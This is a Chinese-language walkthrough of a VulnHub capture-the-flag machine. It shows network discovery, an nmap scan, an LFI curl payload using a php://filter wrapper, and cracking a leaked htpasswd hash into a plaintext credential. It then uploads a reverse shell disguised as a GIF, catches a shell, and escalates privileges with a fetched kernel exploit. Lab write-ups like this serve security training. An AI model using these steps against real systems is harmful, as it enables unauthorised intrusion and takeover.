主機來源:www.vulnhub.com
準備工作:
下載.ova文件,直接雙擊即可安裝成功
設置連接方式爲NAT,攻擊機器使用kali,也設置爲NAT。
發現IP
剛安裝的虛擬機並不知道IP地址,使用netdiscover發現IP。
簡介下netdiscover的用法:
-i 指定網卡
-r 指定地址範圍
root@kali:~# netdiscover -i eth0 -r 10.0.3.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.3.1 00:50:56:c0:00:08 1 60 VMware, Inc.
10.0.3.2 00:50:56:ff:6c:8b 1 60 VMware, Inc.
10.0.3.130 00:0c:29:a7:4f:85 1 60 VMware, Inc.
10.0.3.254 00:50:56:e2:86:33 1 60 VMware, Inc.
發現IP爲10.0.3.130。
端口發現
使用nmap進行端口掃描
root@kali:~# nmap -A -p- 10.0.3.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-29 15:03 CST
Nmap scan report for 10.0.3.130
Host is up (0.00062s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.0.3.198
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
| 2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_ 256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: FRANK's Website | Under development
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:A7:4F:85 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.19 - 2.6.36
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.62 ms 10.0.3.130
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.40 seconds
探測發現21、22、80、8011端口開啓,逐一排查。
端口21:
發現21端口可以匿名登錄。我們登錄進行查看。
沒有什麼有價值的信息。
端口8011:
8011是http服務,我們對端口8011使用dirb進行目錄爆破。
對掃描結果進行訪問測試。
發現api下有提示
挨個訪問,知道files_api.php,纔出現提示。
我們加上file參數,進行測試。
這裏有攔截,說明這裏應該是可以利用的。
我們採用post方式提交參數。
找目錄
端口80:
http服務,同樣我們先進行目錄爆破。
發現很多目錄,重點發現需要密碼驗證的目錄。
補充一下,狀態碼401:請求要求身份驗證。 對於需要登錄的網頁,服務器可能返回此響應。
訪問此目錄
提到了uploader目錄,我們訪問此目錄。
找密碼
需要登錄,我們去尋找密碼。
使用nikto對網站進行掃描。
提示有兩個文件:index.html和index.html.bak
下載此bak文件。
讀文件:
可以看到用戶名密碼:frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0
或者執行命令:
對上面的賬號進行暴力猜解,使用john the rapper。
使用john爆破密碼,John是爆破文件,先將密碼寫入文件,在進行破解。
我們現在有了用戶名密碼:frank:frank!!!
使用密碼登錄development目錄。
找上傳點
找到關鍵詞uploader,嘗試作爲路徑訪問。
看到這裏是可以上傳文件的。我們嘗試上傳。
發現只可以上傳圖片格式的文件。
我們上傳一個圖片馬,使用一個kali官方的反彈shell:
shell:/usr/share/webshells/php/php-reverse-shell.php
修改文件頭爲GIF98。
修改文件內容,此處設置自己的ip地址和端口。
修改文件後綴爲gif。
開始上傳。
上傳成功。
找上傳路徑
但我們沒有上傳地址。
根據經驗,一般網站都在/var/www/html目錄下。
根據測試發現80端口的網站在/var/www/目錄下。
我們有個可以讀文件的地方,試一下。
避免php內容被解析,通過php編碼流可以實現base64編碼,編碼後解析器就無法識別了。
curl -d "file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php" "http://10.0.3.130:8011/api/files_api.php"
我們把這串字符放到burpsuite中進行解碼。(在哪解都行,開心就好)
我們看到了上傳目錄:FRANKuploads/
http://10.0.3.130/development/uploader/FRANKuploads/
反彈getshell
使用msf或者nc設置監聽4444端口。
新窗口訪問:
喜得shell
提權
查看內核版本
搜索漏洞
不能用,我們找高一點版本的
經測試/usr/share/exploitdb/exploits/linux/local/15285.c可用
copy到當前目錄上來
避免發生意外,在自己的機器上進行編譯
在kali上設置簡單的HTTP服務器
在靶機上下載此文件:
沒有權限,換個目錄再執行
成功
修改權限並執行此文件
成功
收官。